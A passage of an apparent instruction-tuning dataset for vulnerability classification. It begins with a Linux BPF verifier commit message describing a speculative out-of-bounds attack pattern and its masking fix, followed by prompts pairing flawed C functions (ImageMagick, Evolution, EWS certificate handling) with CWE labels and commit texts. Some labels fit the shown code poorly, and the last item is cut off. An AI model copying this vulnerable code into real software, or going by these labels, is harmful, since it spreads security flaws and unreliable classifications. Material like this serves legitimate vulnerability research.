form affected\nfrom BPF programs that applies to most maps that hold user\ndata in relation to dynamic map access when dealing with\nunknown scalars or \"slow\" known scalars as access offset, for\nexample:\n\n - Load a map value pointer into R6\n - Load an index into R7\n - Do a slow computation (e.g. with a memory dependency) that\n loads a limit into R8 (e.g. load the limit from a map for\n high latency, then mask it to make the verifier happy)\n - Exit if R7 >= R8 (mispredicted branch)\n - Load R0 = R6[R7]\n - Load R0 = R6[R0]\n\nFor unknown scalars there are two options in the BPF verifier\nwhere we could derive knowledge from in order to guarantee\nsafe access to the memory: i) While /<=/>= variants won't\nallow to derive any lower or upper bounds from the unknown\nscalar where it would be safe to add it to the map value\npointer, it is possible through ==/!= test however. ii) another\noption is to transform the unknown scalar into a known scalar,\nfor example, through ALU ops combination such as R &= \nfollowed by R |= or any similar combination where the\noriginal information from the unknown scalar would be destroyed\nentirely leaving R with a constant. The initial slow load still\nprecedes the latter ALU ops on that register, so the CPU\nexecutes speculatively from that point. Once we have the known\nscalar, any compare operation would work then. A third option\nonly involving registers with known scalars could be crafted\nas described in [0] where a CPU port (e.g. Slow Int unit)\nwould be filled with many dependent computations such that\nthe subsequent condition depending on its outcome has to wait\nfor evaluation on its execution port and thereby executing\nspeculatively if the speculated code can be scheduled on a\ndifferent execution port, or any other form of mistraining\nas described in [1], for example. Given this is not limited\nto only unknown scalars, not only map but also stack access\nis affected since both is accessible for unprivileged users\nand could potentially be used for out of bounds access under\nspeculation.\n\nIn order to prevent any of these cases, the verifier is now\nsanitizing pointer arithmetic on the offset such that any\nout of bounds speculation would be masked in a way where the\npointer arithmetic result in the destination register will\nstay unchanged, meaning offset masked into zero similar as\nin array_index_nospec() case. With regards to implementation,\nthere are three options that were considered: i) new insn\nfor sanitation, ii) push/pop insn and sanitation as inlined\nBPF, iii) reuse of ax register and sanitation as inlined BPF.\n\nOption i) has the downside that we end up using from reserved\nbits in the opcode space, but also that we would require\neach JIT to emit masking as native arch opcodes meaning\nmitigation would have slow adoption till everyone implements\nit eventually which is counter-productive. Option ii) and iii)\nhave both in common that a temporary register is needed in\norder to implement the sanitation as inlined BPF since we\nare not allowed to modify the source register. While a push /\npop insn in ii) would be useful to have in any case, it\nrequires once again that every JIT needs to implement it\nfirst. While possible, amount of changes needed would also\nbe unsuitable for a -stable patch. Therefore, the path which\nhas fewer changes, less BPF instructions for the mitigation\nand does not require anything to be changed in the JITs is\noption iii) which this work is pursuing. The ax register is\nalready mapped to a register in all JITs (modulo arm32 where\nit's mapped to stack as various other BPF registers there)\nand used in constant blinding for JITs-only so far. It can\nbe reused for verifier rewrites under certain constraints.\nThe interpreter's tmp \"register\" has therefore been remapped\ninto extending the register set with hidden ax register and\nreusing that for a number of instructions that needed the\nprior temporary variable internally (e.g. div, mod). This\nallows for zero increase in stack space usage in the interpreter,\nand enables (restricted) generic use in rewrites otherwise as\nlong as such a patchlet does not make use of these instructions.\nThe sanitation mask is dynamic and relative to the offset the\nmap value or stack pointer currently holds.\n\nThere are various cases that need to be taken under consideration\nfor the masking, e.g. such operation could look as follows:\nptr += val or val += ptr or ptr -= val. Thus, the value to be\nsanitized could reside either in source or in destination\nregister, and the limit is different depending on whether\nthe ALU op is addition or subtraction and depending on the\ncurrent known and bounded offset. The limit is derived as\nfollows: limit := max_value_size - (smin_value + off). For\nsubtraction: limit := umax_value + off. This holds because\nwe do not allow any pointer arithmetic that would\ntemporarily go out of bounds or would have an unknown\nvalue with mixed signed bounds where it is unclear at\nverification time whether the actual runtime value would\nbe either negative or positive. For example, we have a\nderived map pointer value with constant offset and bounded\none, so limit based on smin_value works because the verifier\nrequires that statically analyzed arithmetic on the pointer\nmust be in bounds, and thus it checks if resulting\nsmin_value + off and umax_value + off is still within map\nvalue bounds at time of arithmetic in addition to time of\naccess. Similarly, for the case of stack access we derive\nthe limit as follows: MAX_BPF_STACK + off for subtraction\nand -off for the case of addition where off := ptr_reg->off +\nptr_reg->var_off.value. Subtraction is a special case for\nthe masking which can be in form of ptr += -val, ptr -= -val,\nor ptr -= val. In the first two cases where we know that\nthe value is negative, we need to temporarily negate the\nvalue in order to do the sanitation on a positive value\nwhere we later swap the ALU op, and restore original source\nregister if the value was in source.\n\nThe sanitation of pointer arithmetic alone is still not fully\nsufficient as is, since a scenario like the following could\nhappen ...\n\n PTR += 0x1000 (e.g. K-based imm)\n PTR -= BIG_NUMBER_WITH_SLOW_COMPARISON\n PTR += 0x1000\n PTR -= BIG_NUMBER_WITH_SLOW_COMPARISON\n [...]\n\n... which under speculation could end up as ...\n\n PTR += 0x1000\n PTR -= 0 [ truncated by mitigation ]\n PTR += 0x1000\n PTR -= 0 [ truncated by mitigation ]\n [...]\n\n... and therefore still access out of bounds. To prevent such\ncase, the verifier is also analyzing safety for potential out\nof bounds access under speculative execution. Meaning, it is\nalso simulating pointer access under truncation. We therefore\n\"branch off\" and push the current verification state after the\nALU operation with known 0 to the verification stack for later\nanalysis. Given the current path analysis succeeded it is\nlikely that the one under speculation can be pruned. In any\ncase, it is also subject to existing complexity limits and\ntherefore anything beyond this point will be rejected. In\nterms of pruning, it needs to be ensured that the verification\nstate from speculative execution simulation must never prune\na non-speculative execution path, therefore, we mark verifier\nstate accordingly at the time of push_stack(). If verifier\ndetects out of bounds access under speculative execution from\none of the possible paths that includes a truncation, it will\nreject such program.\n\nGiven we mask every reg-based pointer arithmetic for\nunprivileged programs, we've been looking into how it could\naffect real-world programs in terms of size increase. As the\nmajority of programs are targeted for privileged-only use\ncase, we've unconditionally enabled masking (with its alu\nrestrictions on top of it) for privileged programs for the\nsake of testing in order to check i) whether they get rejected\nin its current form, and ii) by how much the number of\ninstructions and size will increase. We've tested this by\nusing Katran, Cilium and test_l4lb from the kernel selftests.\nFor Katran we've evaluated balancer_kern.o, Cilium bpf_lxc.o\nand an older test object bpf_lxc_opt_-DUNKNOWN.o and l4lb\nwe've used test_l4lb.o as well as test_l4lb_noinline.o. We\nfound that none of the programs got rejected by the verifier\nwith this change, and that impact is rather minimal to none.\nbalancer_kern.o had 13,904 bytes (1,738 insns) xlated and\n7,797 bytes JITed before and after the change. Most complex\nprogram in bpf_lxc.o had 30,544 bytes (3,817 insns) xlated\nand 18,538 bytes JITed before and after and none of the other\ntail call programs in bpf_lxc.o had any changes either. For\nthe older bpf_lxc_opt_-DUNKNOWN.o object we found a small\nincrease from 20,616 bytes (2,576 insns) and 12,536 bytes JITed\nbefore to 20,664 bytes (2,582 insns) and 12,558 bytes JITed\nafter the change. Other programs from that object file had\nsimilar small increase. Both test_l4lb.o had no change and\nremained at 6,544 bytes (817 insns) xlated and 3,401 bytes\nJITed and for test_l4lb_noinline.o constant at 5,080 bytes\n(634 insns) xlated and 3,313 bytes JITed. This can be explained\nin that LLVM typically optimizes stack based pointer arithmetic\nby using K-based operations and that use of dynamic map access\nis not overly frequent. However, in future we may decide to\noptimize the algorithm further under known guarantees from\nbranch and value speculation. Latter seems also unclear in\nterms of prediction heuristics that today's CPUs apply as well\nas whether there could be collisions in e.g. the predictor's\nValue History/Pattern Table for triggering out of bounds access,\nthus masking is performed unconditionally at this point but could\nbe subject to relaxation later on. We were generally also\nbrainstorming various other approaches for mitigation, but the\nblocker was always lack of available registers at runtime and/or\noverhead for runtime tracking of limits belonging to a specific\npointer. Thus, we found this to be minimally intrusive under\ngiven constraints.\n\nWith that in place, a simple example with sanitized access on\nunprivileged load at post-verification time looks as follows:\n\n # bpftool prog dump xlated id 282\n [...]\n 28: (79) r1 = *(u64 *)(r7 +0)\n 29: (79) r2 = *(u64 *)(r7 +8)\n 30: (57) r1 &= 15\n 31: (79) r3 = *(u64 *)(r0 +4608)\n 32: (57) r3 &= 1\n 33: (47) r3 |= 1\n 34: (2d) if r2 > r3 goto pc+19\n 35: (b4) (u32) r11 = (u32) 20479 |\n 36: (1f) r11 -= r2 | Dynamic sanitation for pointer\n 37: (4f) r11 |= r2 | arithmetic with registers\n 38: (87) r11 = -r11 | containing bounded or known\n 39: (c7) r11 s>>= 63 | scalars in order to prevent\n 40: (5f) r11 &= r2 | out of bounds speculation.\n 41: (0f) r4 += r11 |\n 42: (71) r4 = *(u8 *)(r4 +0)\n 43: (6f) r4 <<= r1\n [...]\n\nFor the case where the scalar sits in the destination register\nas opposed to the source register, the following code is emitted\nfor the above example:\n\n [...]\n 16: (b4) (u32) r11 = (u32) 20479\n 17: (1f) r11 -= r2\n 18: (4f) r11 |= r2\n 19: (87) r11 = -r11\n 20: (c7) r11 s>>= 63\n 21: (5f) r2 &= r11\n 22: (0f) r2 += r0\n 23: (61) r0 = *(u32 *)(r2 +0)\n [...]\n\nJIT blinding example with non-conflicting use of r10:\n\n [...]\n d5:\tje 0x0000000000000106 _\n d7:\tmov 0x0(%rax),%edi |\n da:\tmov $0xf153246,%r10d | Index load from map value and\n e0:\txor $0xf153259,%r10 | (const blinded) mask with 0x1f.\n e7:\tand %r10,%rdi |_\n ea:\tmov $0x2f,%r10d |\n f0:\tsub %rdi,%r10 | Sanitized addition. Both use r10\n f3:\tor %rdi,%r10 | but do not interfere with each\n f6:\tneg %r10 | other. (Neither do these instructions\n f9:\tsar $0x3f,%r10 | interfere with the use of ax as temp\n fd:\tand %r10,%rdi | in interpreter.)\n 100:\tadd %rax,%rdi |_\n 103:\tmov 0x0(%rdi),%eax\n [...]\n\nTested that it fixes Jann's reproducer, and also checked that test_verifier\nand test_progs suite with interpreter, JIT and JIT with hardening enabled\non x86-64 and arm64 runs successfully.\n\n [0] Speculose: Analyzing the Security Implications of Speculative\n Execution in CPUs, Giorgi Maisuradze and Christian Rossow,\n https://arxiv.org/pdf/1801.04084.pdf\n\n [1] A Systematic Evaluation of Transient Execution Attacks and\n Defenses, Claudio Canella, Jo Van Bulck, Michael Schwarz,\n Moritz Lipp, Benjamin von Berg, Philipp Ortner, Frank Piessens,\n Dmitry Evtyushkin, Daniel Gruss,\n https://arxiv.org/pdf/1811.05441.pdf\n\nFixes: b2157399cc98 (\"bpf: prevent out-of-bounds speculation\")\nReported-by: Jann Horn \nSigned-off-by: Daniel Borkmann \nAcked-by: Alexei Starovoitov \nSigned-off-by: Alexei Starovoitov '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static Image *ReadSIXELImage(const ImageInfo *image_info,ExceptionInfo *exception)\n{\n char\n *sixel_buffer;\n\n Image\n *image;\n\n MagickBooleanType\n status;\n\n register char\n *p;\n\n register ssize_t\n x;\n\n register Quantum\n *q;\n\n size_t\n length;\n\n ssize_t\n i,\n j,\n y;\n\n unsigned char\n *sixel_pixels,\n *sixel_palette;\n\n /*\n Open image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n if (image_info->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",\n image_info->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n image=AcquireImage(image_info,exception);\n status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);\n if (status == MagickFalse)\n {\n image=DestroyImageList(image);\n return((Image *) NULL);\n }\n /*\n Read SIXEL file.\n */\n length=MagickPathExtent;\n sixel_buffer=(char *) AcquireQuantumMemory((size_t) length+MagickPathExtent,\n sizeof(*sixel_buffer));\n p=sixel_buffer;\n if (sixel_buffer != (char *) NULL)\n while (ReadBlobString(image,p) != (char *) NULL)\n {\n if ((*p == '#') && ((p == sixel_buffer) || (*(p-1) == '\\n')))\n continue;\n if ((*p == '}') && (*(p+1) == ';'))\n break;\n p+=strlen(p);\n if ((size_t) (p-sixel_buffer+MagickPathExtent+1) < length)\n continue;\n length<<=1;\n sixel_buffer=(char *) ResizeQuantumMemory(sixel_buffer,length+\n MagickPathExtent+1,sizeof(*sixel_buffer));\n if (sixel_buffer == (char *) NULL)\n break;\n p=sixel_buffer+strlen(sixel_buffer);\n }\n if (sixel_buffer == (char *) NULL)\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n sixel_buffer[length]='\\0';\n /*\n Decode SIXEL\n */\n if (sixel_decode(image,(unsigned char *) sixel_buffer,&sixel_pixels,&image->columns,&image->rows,&sixel_palette,&image->colors,exception) == MagickFalse)\n {\n sixel_buffer=(char *) RelinquishMagickMemory(sixel_buffer);\n ThrowReaderException(CorruptImageError,\"CorruptImage\");\n }\n sixel_buffer=(char *) RelinquishMagickMemory(sixel_buffer);\n image->depth=24;\n image->storage_class=PseudoClass;\n status=SetImageExtent(image,image->columns,image->rows,exception);\n if (status == MagickFalse)\n {\n sixel_pixels=(unsigned char *) RelinquishMagickMemory(sixel_pixels);\n sixel_palette=(unsigned char *) RelinquishMagickMemory(sixel_palette);\n return(DestroyImageList(image));\n }\n\n if (AcquireImageColormap(image,image->colors, exception) == MagickFalse)\n {\n sixel_pixels=(unsigned char *) RelinquishMagickMemory(sixel_pixels);\n sixel_palette=(unsigned char *) RelinquishMagickMemory(sixel_palette);\n ThrowReaderException(ResourceLimitError,\"MemoryAllocationFailed\");\n }\n for (i = 0; i < (ssize_t) image->colors; ++i) {\n image->colormap[i].red = ScaleCharToQuantum(sixel_palette[i * 4 + 0]);\n image->colormap[i].green = ScaleCharToQuantum(sixel_palette[i * 4 + 1]);\n image->colormap[i].blue = ScaleCharToQuantum(sixel_palette[i * 4 + 2]);\n }\n\n j=0;\n if (image_info->ping == MagickFalse)\n {\n /*\n Read image pixels.\n */\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n break;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n j=(ssize_t) sixel_pixels[y * image->columns + x];\n SetPixelIndex(image,j,q);\n q+=GetPixelChannels(image);\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n }\n if (y < (ssize_t) image->rows)\n {\n sixel_pixels=(unsigned char *) RelinquishMagickMemory(sixel_pixels);\n sixel_palette=(unsigned char *) RelinquishMagickMemory(sixel_palette);\n ThrowReaderException(CorruptImageError,\"NotEnoughPixelData\");\n }\n }\n /*\n Relinquish resources.\n */\n sixel_pixels=(unsigned char *) RelinquishMagickMemory(sixel_pixels);\n sixel_palette=(unsigned char *) RelinquishMagickMemory(sixel_palette);\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399', 'CWE-401'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/1452'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: empe_app_smime_parse (EMailParserExtension *extension,\n EMailParser *parser,\n CamelMimePart *part,\n GString *part_id,\n GCancellable *cancellable,\n GQueue *out_mail_parts)\n{\n\tCamelCipherContext *context;\n\tCamelMimePart *opart;\n\tCamelCipherValidity *valid;\n\tCamelContentType *ct;\n\tGError *local_error = NULL;\n\n\tct = camel_mime_part_get_content_type (part);\n\tif (camel_content_type_is (ct, \"application\", \"pkcs7-signature\") ||\n\t camel_content_type_is (ct, \"application\", \"xpkcs7-signature\") ||\n\t camel_content_type_is (ct, \"application\", \"x-pkcs7-signature\")) {\n\t\treturn TRUE;\n\t}\n\n\tcontext = camel_smime_context_new (e_mail_parser_get_session (parser));\n\n\topart = camel_mime_part_new ();\n\tvalid = camel_cipher_context_decrypt_sync (\n\t\tcontext, part, opart,\n\t\tcancellable, &local_error);\n\n\te_mail_part_preserve_charset_in_content_type (part, opart);\n\n\tif (local_error != NULL) {\n\t\te_mail_parser_error (\n\t\t\tparser, out_mail_parts,\n\t\t\t_(\"Could not parse S/MIME message: %s\"),\n\t\t\tlocal_error->message);\n\t\tg_error_free (local_error);\n\n\t} else {\n\t\tGQueue work_queue = G_QUEUE_INIT;\n\t\tGList *head, *link;\n\t\tgint len = part_id->len;\n\n\t\tg_string_append (part_id, \".encrypted-smime\");\n\n\t\te_mail_parser_parse_part (\n\t\t\tparser, opart, part_id, cancellable, &work_queue);\n\n\t\tg_string_truncate (part_id, len);\n\n\t\thead = g_queue_peek_head_link (&work_queue);\n\n\t\t/* Update validity flags of all the involved subp-arts */\n\t\tfor (link = head; link != NULL; link = g_list_next (link)) {\n\t\t\tEMailPart *mail_part = link->data;\n\n\t\t\te_mail_part_update_validity (\n\t\t\t\tmail_part, valid,\n\t\t\t\tE_MAIL_PART_VALIDITY_ENCRYPTED |\n\t\t\t\tE_MAIL_PART_VALIDITY_SMIME);\n\t\t}\n\n\t\te_queue_transfer (&work_queue, out_mail_parts);\n\n\t\t/* Add a widget with details about the encryption, but only\n\t\t * when the encrypted isn't itself secured, in that case it\n\t\t * has created the button itself. */\n\t\tif (!e_mail_part_is_secured (opart)) {\n\t\t\tEMailPart *mail_part;\n\n\t\t\tg_string_append (part_id, \".encrypted-smime.button\");\n\n\t\t\te_mail_parser_parse_part_as (\n\t\t\t\tparser, part, part_id,\n\t\t\t\t\"application/vnd.evolution.secure-button\",\n\t\t\t\tcancellable, &work_queue);\n\n\t\t\tmail_part = g_queue_peek_head (&work_queue);\n\n\t\t\tif (mail_part != NULL)\n\t\t\t\te_mail_part_update_validity (\n\t\t\t\t\tmail_part, valid,\n\t\t\t\t\tE_MAIL_PART_VALIDITY_ENCRYPTED |\n\t\t\t\t\tE_MAIL_PART_VALIDITY_SMIME);\n\n\t\t\te_queue_transfer (&work_queue, out_mail_parts);\n\n\t\t\tg_string_truncate (part_id, len);\n\t\t}\n\n\t\tcamel_cipher_validity_free (valid);\n\t}\n\n\tg_object_unref (opart);\n\tg_object_unref (context);\n\n\treturn TRUE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-347'], 'message': 'eds-I#3 - [GPG] Mails that are not encrypted look encrypted\n\nRelated to https://gitlab.gnome.org/GNOME/evolution-data-server/issues/3'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ews_config_lookup_worker_run (EConfigLookupWorker *lookup_worker,\n\t\t\t EConfigLookup *config_lookup,\n\t\t\t const ENamedParameters *params,\n\t\t\t ENamedParameters **out_restart_params,\n\t\t\t GCancellable *cancellable,\n\t\t\t GError **error)\n{\n\tCamelEwsSettings *ews_settings = NULL;\n\tESource *source;\n\tconst gchar *email_address;\n\tconst gchar *password;\n\tconst gchar *extension_name;\n\n\tg_return_if_fail (E_IS_EWS_CONFIG_LOOKUP (lookup_worker));\n\tg_return_if_fail (E_IS_CONFIG_LOOKUP (config_lookup));\n\tg_return_if_fail (params != NULL);\n\n\temail_address = e_named_parameters_get (params, E_CONFIG_LOOKUP_PARAM_EMAIL_ADDRESS);\n\n\tif (!email_address || !*email_address)\n\t\treturn;\n\n\tif (!e_named_parameters_exists (params, E_CONFIG_LOOKUP_PARAM_PASSWORD)) {\n\t\tg_set_error (error, E_CONFIG_LOOKUP_WORKER_ERROR, E_CONFIG_LOOKUP_WORKER_ERROR_REQUIRES_PASSWORD,\n\t\t\t_(\"Requires user password to continue\"));\n\t\treturn;\n\t}\n\n\tews_settings = g_object_new (CAMEL_TYPE_EWS_SETTINGS, NULL);\n\tcamel_ews_settings_set_email (ews_settings, email_address);\n\n\textension_name = e_source_camel_get_extension_name (\"ews\");\n\tsource = e_config_lookup_get_source (config_lookup, E_CONFIG_LOOKUP_SOURCE_COLLECTION);\n\tif (source && e_source_has_extension (source, extension_name)) {\n\t\tESourceCamel *camel_extension;\n\t\tCamelSettings *settings;\n\n\t\tcamel_extension = e_source_get_extension (source, extension_name);\n\t\tsettings = e_source_camel_get_settings (camel_extension);\n\n\t\t/* Copy only the host url */\n\t\tif (CAMEL_IS_EWS_SETTINGS (settings))\n\t\t\tcamel_ews_settings_set_hosturl (ews_settings, camel_ews_settings_get_hosturl (CAMEL_EWS_SETTINGS (settings)));\n\t}\n\n\tpassword = e_named_parameters_get (params, E_CONFIG_LOOKUP_PARAM_PASSWORD);\n\n\tif (password) {\n\t\tconst gchar *servers;\n\n\t\tif (e_ews_autodiscover_ws_url_sync (source, ews_settings, email_address, password, cancellable, NULL)) {\n\t\t\tews_config_lookup_worker_result_from_settings (lookup_worker, config_lookup, email_address, ews_settings, params);\n\t\t}\n\n\t\tservers = e_named_parameters_get (params, E_CONFIG_LOOKUP_PARAM_SERVERS);\n\n\t\tif (servers && *servers) {\n\t\t\tgchar **servers_strv;\n\t\t\tgint ii;\n\n\t\t\tservers_strv = g_strsplit (servers, \";\", 0);\n\n\t\t\tfor (ii = 0; servers_strv && servers_strv[ii] && !g_cancellable_is_cancelled (cancellable); ii++) {\n\t\t\t\tconst gchar *server = servers_strv[ii];\n\t\t\t\tgchar *tmp = NULL;\n\n\t\t\t\tif (*server && !strstr (server, \"://\")) {\n\t\t\t\t\ttmp = g_strconcat (\"https://\", server, \"/EWS/Exchange.asmx\", NULL);\n\t\t\t\t\tserver = tmp;\n\t\t\t\t}\n\n\t\t\t\tcamel_ews_settings_set_hosturl (ews_settings, server);\n\n\t\t\t\tif (e_ews_autodiscover_ws_url_sync (source, ews_settings, email_address, password, cancellable, NULL)) {\n\t\t\t\t\tews_config_lookup_worker_result_from_settings (lookup_worker, config_lookup, email_address, ews_settings, params);\n\t\t\t\t}\n\n\t\t\t\tg_free (tmp);\n\t\t\t}\n\n\t\t\tg_strfreev (servers_strv);\n\t\t}\n\n\t\tif (out_restart_params)\n\t\t\t*out_restart_params = e_named_parameters_new_clone (params);\n\t}\n\n\tg_clear_object (&ews_settings);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-295'], 'message': 'I#27 - SSL Certificates are not validated\n\nThis depends on https://gitlab.gnome.org/GNOME/evolution-data-server/commit/6672b8236139bd6ef41ecb915f4c72e2a052dba5 too.\n\nCloses https://gitlab.gnome.org/GNOME/evolution-ews/issues/27'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ews_connection_finalize (GObject *object)\n{\n\tEEwsConnectionPrivate *priv;\n\n\tpriv = E_EWS_CONNECTION_GET_PRIVATE (object);\n\n\tg_free (priv->uri);\n\tg_free (priv->password);\n\tg_free (priv->email);\n\tg_free (priv->hash_key);\n\tg_free (priv->impersonate_user);\n\n\tg_clear_object (&priv->bearer_auth);\n\n\tg_mutex_clear (&priv->property_lock);\n\tg_rec_mutex_clear (&priv->queue_lock);\n\tg_mutex_clear (&priv->notification_lock);\n\n\t/* Chain up to parent's finalize() method. */\n\tG_OBJECT_CLASS (e_ews_connection_parent_class)->finalize (object);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-295'], 'message': 'I#27 - SSL Certificates are not validated\n\nThis depends on https://gitlab.gnome.org/GNOME/evolution-data-server/commit/6672b8236139bd6ef41ecb915f4c72e2a052dba5 too.\n\nCloses https://gitlab.gnome.org/GNOME/evolution-ews/issues/27'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ews_authenticate_sync (CamelService *service,\n const gchar *mechanism,\n GCancellable *cancellable,\n GError **error)\n{\n\tCamelAuthenticationResult result;\n\tCamelEwsStore *ews_store;\n\tCamelSettings *settings;\n\tCamelEwsSettings *ews_settings;\n\tEEwsConnection *connection;\n\tESource *source;\n\tGSList *folders_created = NULL;\n\tGSList *folders_updated = NULL;\n\tGSList *folders_deleted = NULL;\n\tGSList *folder_ids = NULL;\n\tGSList *created_folder_ids = NULL;\n\tgboolean includes_last_folder = FALSE;\n\tgboolean initial_setup = FALSE;\n\tconst gchar *password;\n\tgchar *hosturl;\n\tgchar *old_sync_state = NULL, *new_sync_state = NULL;\n\tGError *local_error = NULL;\n\n\tews_store = CAMEL_EWS_STORE (service);\n\n\tpassword = camel_service_get_password (service);\n\n\tsettings = camel_service_ref_settings (service);\n\n\tews_settings = CAMEL_EWS_SETTINGS (settings);\n\thosturl = camel_ews_settings_dup_hosturl (ews_settings);\n\tsource = camel_ews_utils_ref_corresponding_source (service, cancellable);\n\n\tconnection = e_ews_connection_new (source, hosturl, ews_settings);\n\te_ews_connection_set_password (connection, password);\n\n\tg_clear_object (&source);\n\tg_free (hosturl);\n\n\tg_object_unref (settings);\n\n\te_binding_bind_property (\n\t\tservice, \"proxy-resolver\",\n\t\tconnection, \"proxy-resolver\",\n\t\tG_BINDING_SYNC_CREATE);\n\n\t/* XXX We need to run some operation that requires authentication\n\t * but does not change any server-side state, so we can check\n\t * the error status and determine if our password is valid.\n\t * David suggested e_ews_connection_sync_folder_hierarchy(),\n\t * since we have to do that eventually anyway. */\n\n\t/*use old sync_state from summary*/\n\told_sync_state = camel_ews_store_summary_get_string_val (ews_store->summary, \"sync_state\", NULL);\n\tif (!old_sync_state) {\n\t\tinitial_setup = TRUE;\n\t} else {\n\t\tgchar *folder_id;\n\n\t\tfolder_id = camel_ews_store_summary_get_folder_id_from_folder_type (ews_store->summary, CAMEL_FOLDER_TYPE_INBOX);\n\t\tif (!folder_id || !*folder_id)\n\t\t\tinitial_setup = TRUE;\n\n\t\tg_free (folder_id);\n\n\t\tif (!initial_setup) {\n\t\t\tfolder_id = camel_ews_store_summary_get_folder_id_from_folder_type (ews_store->summary, CAMEL_FOLDER_TYPE_DRAFTS);\n\t\t\tif (!folder_id || !*folder_id)\n\t\t\t\tinitial_setup = TRUE;\n\n\t\t\tg_free (folder_id);\n\t\t}\n\t}\n\n\te_ews_connection_sync_folder_hierarchy_sync (connection, EWS_PRIORITY_MEDIUM, old_sync_state,\n\t\t&new_sync_state, &includes_last_folder, &folders_created, &folders_updated, &folders_deleted,\n\t\tcancellable, &local_error);\n\n\tg_free (old_sync_state);\n\told_sync_state = NULL;\n\n\tif (g_error_matches (local_error, EWS_CONNECTION_ERROR, EWS_CONNECTION_ERROR_UNAVAILABLE)) {\n\t\tlocal_error->domain = CAMEL_SERVICE_ERROR;\n\t\tlocal_error->code = CAMEL_SERVICE_ERROR_UNAVAILABLE;\n\t}\n\n\tif (!initial_setup && g_error_matches (local_error, EWS_CONNECTION_ERROR, EWS_CONNECTION_ERROR_INVALIDSYNCSTATEDATA)) {\n\t\tg_clear_error (&local_error);\n\t\tews_store_forget_all_folders (ews_store);\n\t\tcamel_ews_store_summary_store_string_val (ews_store->summary, \"sync_state\", \"\");\n\t\tcamel_ews_store_summary_clear (ews_store->summary);\n\n\t\tinitial_setup = TRUE;\n\n\t\te_ews_connection_sync_folder_hierarchy_sync (connection, EWS_PRIORITY_MEDIUM, NULL,\n\t\t\t&new_sync_state, &includes_last_folder, &folders_created, &folders_updated, &folders_deleted,\n\t\t\tcancellable, &local_error);\n\t}\n\n\tif (local_error == NULL) {\n\t\tGSList *foreign_fids, *ff;\n\n\t\tg_mutex_lock (&ews_store->priv->connection_lock);\n\t\tews_store_unset_connection_locked (ews_store);\n\t\tews_store->priv->connection = g_object_ref (connection);\n\t\tg_signal_connect (ews_store->priv->connection, \"password-will-expire\",\n\t\t\tG_CALLBACK (camel_ews_store_password_will_expire_cb), ews_store);\n\t\tg_mutex_unlock (&ews_store->priv->connection_lock);\n\n\t\t/* This consumes all allocated result data. */\n\t\tews_update_folder_hierarchy (\n\t\t\tews_store, new_sync_state, includes_last_folder,\n\t\t\tfolders_created, folders_deleted, folders_updated, &created_folder_ids);\n\n\t\t/* Also update folder structures of foreign folders,\n\t\t those which are subscribed with subfolders */\n\t\tforeign_fids = camel_ews_store_summary_get_foreign_folders (ews_store->summary, NULL);\n\t\tfor (ff = foreign_fids; ff != NULL; ff = ff->next) {\n\t\t\tconst gchar *fid = ff->data;\n\n\t\t\tif (camel_ews_store_summary_get_foreign_subfolders (ews_store->summary, fid, NULL)) {\n\t\t\t\tcamel_ews_store_update_foreign_subfolders (ews_store, fid);\n\t\t\t}\n\t\t}\n\n\t\tg_slist_free_full (foreign_fids, g_free);\n\t} else {\n\t\tg_mutex_lock (&ews_store->priv->connection_lock);\n\t\tews_store_unset_connection_locked (ews_store);\n\t\tg_mutex_unlock (&ews_store->priv->connection_lock);\n\n\t\tg_free (new_sync_state);\n\n\t\t/* Make sure we're not leaking anything. */\n\t\tg_warn_if_fail (folders_created == NULL);\n\t\tg_warn_if_fail (folders_updated == NULL);\n\t\tg_warn_if_fail (folders_deleted == NULL);\n\t}\n\n\t/*get folders using distinguished id by GetFolder operation and set system flags to folders, only for first time*/\n\tif (!local_error && initial_setup && connection) {\n\t\tews_initial_setup_with_connection_sync (CAMEL_STORE (ews_store), NULL, connection, cancellable, NULL);\n\t}\n\n\t/* postpone notification of new folders to time when also folder flags are known,\n\t thus the view in evolution sows Inbox with an Inbox icon. */\n\tfor (folder_ids = created_folder_ids; folder_ids; folder_ids = folder_ids->next) {\n\t\tCamelFolderInfo *fi;\n\n\t\tfi = camel_ews_utils_build_folder_info (ews_store, folder_ids->data);\n\t\tcamel_store_folder_created (CAMEL_STORE (ews_store), fi);\n\t\tcamel_subscribable_folder_subscribed (CAMEL_SUBSCRIBABLE (ews_store), fi);\n\t\tcamel_folder_info_free (fi);\n\t}\n\n\tg_slist_free_full (created_folder_ids, g_free);\n\n\tif (local_error == NULL) 